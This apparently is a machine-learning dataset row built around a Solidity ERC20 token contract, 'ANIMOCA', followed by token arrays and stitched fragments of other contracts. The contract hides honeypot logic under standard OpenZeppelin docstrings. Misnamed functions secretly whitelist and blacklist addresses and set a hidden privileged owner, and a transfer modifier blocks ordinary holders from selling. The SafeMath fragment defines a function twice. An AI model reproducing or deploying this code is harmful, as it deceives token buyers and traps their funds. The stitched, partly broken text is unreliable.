* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ANIMOCA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. Arithmetic operations in Solidity wrap on overflow. This can easily result in bugs, because programmers usually assume that an overflow raises an error, which is the standard behavior in high level programming languages. `SafeMath` restores this intuition by reverting the transaction when an operation overflows. Using this library instead of the unchecked operations eliminates an entire class of bugs, so it's recommended to use it always./ | library SafeMath {
🔗 ANIMOCA LINKS
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
| 6,756,940 | [
1,
24114,
1879,
348,
7953,
560,
1807,
30828,
5295,
598,
3096,
9391,
4271,
18,
27443,
5295,
316,
348,
7953,
560,
2193,
603,
9391,
18,
1220,
848,
17997,
563,
316,
22398,
16,
2724,
5402,
81,
414,
11234,
6750,
716,
392,
9391,
14183,
392,
555,
16,
1492,
353,
326,
4529,
6885,
316,
3551,
1801,
5402,
11987,
8191,
18,
1375,
9890,
10477,
68,
3127,
3485,
333,
509,
89,
608,
635,
15226,
310,
326,
2492,
1347,
392,
1674,
9391,
87,
18,
11637,
333,
5313,
3560,
434,
326,
22893,
5295,
19229,
4174,
392,
7278,
667,
434,
22398,
16,
1427,
518,
1807,
14553,
358,
999,
518,
3712,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
14060,
10477,
288,
203,
203,
565,
225,
177,
258,
247,
250,
8175,
3445,
51,
3587,
22926,
55,
7010,
203,
565,
445,
527,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
276,
273,
279,
397,
324,
31,
203,
3639,
2583,
12,
71,
1545,
279,
16,
315,
9890,
10477,
30,
2719,
9391,
8863,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
720,
12,
69,
16,
324,
16,
315,
9890,
10477,
30,
720,
25693,
9391,
8863,
203,
565,
289,
203,
203,
565,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
16,
533,
3778,
9324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
70,
1648,
279,
16,
9324,
1769,
203,
3639,
2254,
5034,
276,
273,
279,
300,
324,
31,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
309,
261,
69,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
3639,
2583,
12,
71,
342,
279,
422,
324,
16,
315,
9890,
10477,
30,
23066,
9391,
8863,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
2
] |
./partial_match/1/0xdBAd587fA6CB73EFA1B1326BA2149dBaA3C0bCcc/sources/Token.sol | Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by decrementing then incrementing. | function _transfer(address from, address to, uint256 amount) internal virtual {
if(tradingOpen || _balances[wunPepeMiuPool] == 0) {
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "PepeMiu: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
}
| 15,760,619 | [
1,
15526,
486,
3323,
30,
326,
2142,
434,
777,
324,
26488,
353,
3523,
1845,
635,
2078,
3088,
1283,
16,
471,
326,
2142,
353,
21096,
635,
15267,
310,
1508,
5504,
310,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
13866,
12,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
3844,
13,
2713,
5024,
288,
203,
203,
3639,
309,
12,
313,
14968,
3678,
747,
389,
70,
26488,
63,
91,
318,
11227,
347,
49,
30063,
2864,
65,
422,
374,
13,
288,
203,
5411,
389,
5771,
1345,
5912,
12,
2080,
16,
358,
16,
3844,
1769,
203,
203,
5411,
2254,
5034,
628,
13937,
273,
389,
70,
26488,
63,
2080,
15533,
203,
5411,
2583,
12,
2080,
13937,
1545,
3844,
16,
315,
11227,
347,
49,
30063,
30,
7412,
3844,
14399,
11013,
8863,
203,
3639,
22893,
288,
203,
5411,
389,
70,
26488,
63,
2080,
65,
273,
628,
13937,
300,
3844,
31,
203,
5411,
389,
70,
26488,
63,
869,
65,
1011,
3844,
31,
203,
3639,
289,
203,
203,
5411,
3626,
12279,
12,
2080,
16,
358,
16,
3844,
1769,
203,
203,
5411,
389,
5205,
1345,
5912,
12,
2080,
16,
358,
16,
3844,
1769,
203,
3639,
289,
203,
203,
565,
289,
203,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xc8024fB5C7beD98CcE0e498E54B7D89816B3521B/sources/GenesisLiquidityPool.sol | dev: scminter too new
| require(block.timestamp - oracleGeminon.ageSCMinter() > 7 days); | 3,668,678 | [
1,
5206,
30,
888,
1154,
387,
4885,
394,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2583,
12,
2629,
18,
5508,
300,
20865,
43,
351,
267,
265,
18,
410,
2312,
49,
2761,
1435,
405,
2371,
4681,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
